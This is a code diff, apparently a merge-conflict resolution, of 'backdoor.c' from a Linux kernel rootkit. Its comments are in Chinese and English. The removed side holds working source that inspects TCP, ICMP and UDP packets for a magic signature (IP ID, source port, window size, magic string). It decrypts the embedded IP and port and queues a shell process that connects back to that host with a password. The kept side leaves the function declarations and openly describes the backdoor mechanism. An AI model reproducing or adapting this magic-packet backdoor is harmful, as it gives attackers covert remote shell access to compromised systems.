|
|
|
@ -1,13 +1,3 @@
|
|
|
|
|
<<<<<<< HEAD
|
|
|
|
|
#include <linux/string.h> // 提供字符串操作的函数
|
|
|
|
|
#include <linux/version.h> // 提供内核版本信息
|
|
|
|
|
#include <linux/net.h> // 提供网络相关的函数和数据结构
|
|
|
|
|
#include <linux/ip.h> // 提供IP协议支持
|
|
|
|
|
#include <linux/tcp.h> // 提供TCP协议支持
|
|
|
|
|
#include <linux/udp.h> // 提供UDP协议支持
|
|
|
|
|
#include <linux/icmp.h> // 提供ICMP协议支持
|
|
|
|
|
#include <linux/workqueue.h> // 提供工作队列API
|
|
|
|
|
=======
|
|
|
|
|
/**
|
|
|
|
|
* @file backdoor.c
|
|
|
|
|
* @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
|
|
|
|
@ -23,15 +13,11 @@
|
|
|
|
|
#include <linux/udp.h>
|
|
|
|
|
#include <linux/icmp.h>
|
|
|
|
|
#include <linux/workqueue.h>
|
|
|
|
|
>>>>>>> 90467d75faad12d82dbdefd6d27bca9d7e5cbdb6
|
|
|
|
|
|
|
|
|
|
#include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数)
|
|
|
|
|
#include "config.h" // 自定义的配置头文件(可能定义了一些配置参数)
|
|
|
|
|
#include "backdoor.h" // 后门的实现头文件
|
|
|
|
|
|
|
|
|
|
<<<<<<< HEAD
|
|
|
|
|
// shell任务的结构体,用于执行shell命令
|
|
|
|
|
=======
|
|
|
|
|
/**
|
|
|
|
|
* @struct shell_task
|
|
|
|
|
* @brief Structure representing a shell execution task.
|
|
|
|
@ -43,56 +29,12 @@
|
|
|
|
|
* @var shell_task::port
|
|
|
|
|
* Port to connect to.
|
|
|
|
|
*/
|
|
|
|
|
>>>>>>> 90467d75faad12d82dbdefd6d27bca9d7e5cbdb6
|
|
|
|
|
struct shell_task {
|
|
|
|
|
struct work_struct work; // 工作队列结构体
|
|
|
|
|
char *ip; // 存储IP地址字符串
|
|
|
|
|
char *port; // 存储端口号字符串
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
<<<<<<< HEAD
|
|
|
|
|
// 工作队列的处理函数,执行shell命令
|
|
|
|
|
void shell_execer(struct work_struct *work)
|
|
|
|
|
{
|
|
|
|
|
struct shell_task *task = (struct shell_task *)work; // 从work_struct获取shell_task结构体
|
|
|
|
|
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; // 构建执行命令的参数数组
|
|
|
|
|
|
|
|
|
|
exec(argv); // 执行命令
|
|
|
|
|
|
|
|
|
|
// 释放分配的内存
|
|
|
|
|
kfree(task->ip);
|
|
|
|
|
kfree(task->port);
|
|
|
|
|
kfree(task);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 将shell命令的执行加入到工作队列中
|
|
|
|
|
int shell_exec_queue(char *ip, char *port)
|
|
|
|
|
{
|
|
|
|
|
struct shell_task *task;
|
|
|
|
|
|
|
|
|
|
task = kmalloc(sizeof(*task), GFP_KERNEL); // 为task分配内存
|
|
|
|
|
|
|
|
|
|
if (!task)
|
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
|
|
task->ip = kstrdup(ip, GFP_KERNEL); // 复制IP地址
|
|
|
|
|
if (!task->ip) {
|
|
|
|
|
kfree(task);
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
task->port = kstrdup(port, GFP_KERNEL); // 复制端口号
|
|
|
|
|
if (!task->port) {
|
|
|
|
|
kfree(task->ip);
|
|
|
|
|
kfree(task);
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
INIT_WORK(&task->work, &shell_execer); // 初始化工作队列项
|
|
|
|
|
|
|
|
|
|
return schedule_work(&task->work); // 将工作项添加到工作队列
|
|
|
|
|
}
|
|
|
|
|
=======
|
|
|
|
|
/**
|
|
|
|
|
* @brief Executes a shell command with the given IP and port.
|
|
|
|
|
*
|
|
|
|
@ -108,138 +50,10 @@ void shell_execer(struct work_struct *work);
|
|
|
|
|
* @return int 1 if the task was successfully scheduled, 0 otherwise.
|
|
|
|
|
*/
|
|
|
|
|
int shell_exec_queue(char *ip, char *port);
|
|
|
|
|
>>>>>>> 90467d75faad12d82dbdefd6d27bca9d7e5cbdb6
|
|
|
|
|
|
|
|
|
|
#define DROP 0 // 定义DROP为0,表示丢弃数据包
|
|
|
|
|
#define ACCEPT 1 // 定义ACCEPT为1,表示接受数据包
|
|
|
|
|
|
|
|
|
|
<<<<<<< HEAD
|
|
|
|
|
// 解析魔法数据包的函数,根据数据包内容决定是否执行shell命令
|
|
|
|
|
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
|
|
|
|
|
{
|
|
|
|
|
// 定义和初始化协议头部的指针
|
|
|
|
|
const struct iphdr *ip_header;
|
|
|
|
|
const struct icmphdr *icmp_header;
|
|
|
|
|
const struct tcphdr *tcp_header;
|
|
|
|
|
const struct udphdr *udp_header;
|
|
|
|
|
struct iphdr _iph;
|
|
|
|
|
struct icmphdr _icmph;
|
|
|
|
|
struct tcphdr _tcph;
|
|
|
|
|
struct udphdr _udph;
|
|
|
|
|
const char *data = NULL;
|
|
|
|
|
char *_data, *argv_str, **argv;
|
|
|
|
|
int size, str_size;
|
|
|
|
|
|
|
|
|
|
if (!socket_buffer)
|
|
|
|
|
return ACCEPT; // 如果socket_buffer为空,接受该数据包
|
|
|
|
|
|
|
|
|
|
// 获取IP头部信息
|
|
|
|
|
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
|
|
|
|
|
|
|
|
|
|
if (!ip_header)
|
|
|
|
|
return ACCEPT; // 如果无法获取IP头,接受该数据包
|
|
|
|
|
|
|
|
|
|
if (!ip_header->protocol)
|
|
|
|
|
return ACCEPT; // 如果IP头中没有协议信息,接受该数据包
|
|
|
|
|
|
|
|
|
|
if (htons(ip_header->id) != IPID) // 检查IP头中的ID字段是否匹配预定义的IPID
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
// TCP协议处理
|
|
|
|
|
if (ip_header->protocol == IPPROTO_TCP) {
|
|
|
|
|
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
|
|
|
|
|
|
|
|
|
|
if (!tcp_header)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
if (htons(tcp_header->source) != SRCPORT) // 检查TCP源端口是否匹配预定义的SRCPORT
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
// 检查TCP头中的序列号和窗口大小是否满足特定条件
|
|
|
|
|
if (//htons(tcp_header->seq) == SEQ && /* 如果你希望使用TCP序列号作为过滤条件,取消这行注释 */
|
|
|
|
|
htons(tcp_header->window) == WIN) {
|
|
|
|
|
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
|
|
|
|
|
|
|
|
|
|
_data = kmalloc(size, GFP_KERNEL); // 为数据部分分配内存
|
|
|
|
|
|
|
|
|
|
if (!_data)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
str_size = size - strlen(MAGIC_VALUE); // 计算除魔法值外的字符串大小
|
|
|
|
|
argv_str = kmalloc(str_size, GFP_KERNEL); // 为解析后的字符串分配内存
|
|
|
|
|
|
|
|
|
|
if (!argv_str) {
|
|
|
|
|
kfree(_data);
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
|
|
|
|
|
|
|
|
|
|
if (!data) { // 如果无法获取数据
|
|
|
|
|
kfree(_data);
|
|
|
|
|
kfree(argv_str);
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 检查数据的开头是否是魔法值
|
|
|
|
|
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
|
|
|
|
|
|
|
|
|
|
memzero_explicit(argv_str, str_size); // 清零argv_str
|
|
|
|
|
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); // 复制魔法值之后的数据到argv_str
|
|
|
|
|
do_decrypt(argv_str, str_size - 1, KEY); // 解密argv_str
|
|
|
|
|
|
|
|
|
|
argv = argv_split(GFP_KERNEL, argv_str, NULL); // 将argv_str分割为参数数组
|
|
|
|
|
|
|
|
|
|
if (argv) {
|
|
|
|
|
shell_exec_queue(argv[0], argv[1]); // 将命令加入工作队列
|
|
|
|
|
argv_free(argv);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
kfree(_data);
|
|
|
|
|
kfree(argv_str);
|
|
|
|
|
|
|
|
|
|
return DROP; // 处理完魔法数据包后丢弃
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
kfree(_data);
|
|
|
|
|
kfree(argv_str);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ICMP协议处理
|
|
|
|
|
if (ip_header->protocol == IPPROTO_ICMP) {
|
|
|
|
|
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
|
|
|
|
|
|
|
|
|
|
if (!icmp_header)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
if (icmp_header->code != ICMP_ECHO)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
if (htons(icmp_header->un.echo.sequence) == SEQ &&
|
|
|
|
|
htons(icmp_header->un.echo.id) == WIN) {
|
|
|
|
|
// 省略了与TCP协议处理相似的代码
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// UDP协议处理
|
|
|
|
|
if (ip_header->protocol == IPPROTO_UDP) {
|
|
|
|
|
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
|
|
|
|
|
|
|
|
|
|
if (!udp_header)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
if (htons(udp_header->source) != SRCPORT)
|
|
|
|
|
return ACCEPT;
|
|
|
|
|
|
|
|
|
|
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
|
|
|
|
|
// 省略了与TCP协议处理相似的代码
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return ACCEPT; // 如果不是魔法数据包,接受该数据包
|
|
|
|
|
}
|
|
|
|
|
=======
|
|
|
|
|
/**
|
|
|
|
|
* @brief Parses a network packet to detect a magic packet and execute a shell command.
|
|
|
|
|
*
|
|
|
|
@ -247,4 +61,3 @@ unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
|
|
|
|
|
* @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
|
|
|
|
|
*/
|
|
|
|
|
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
|
|
|
|
|
>>>>>>> 90467d75faad12d82dbdefd6d27bca9d7e5cbdb6
|
|
|
|
|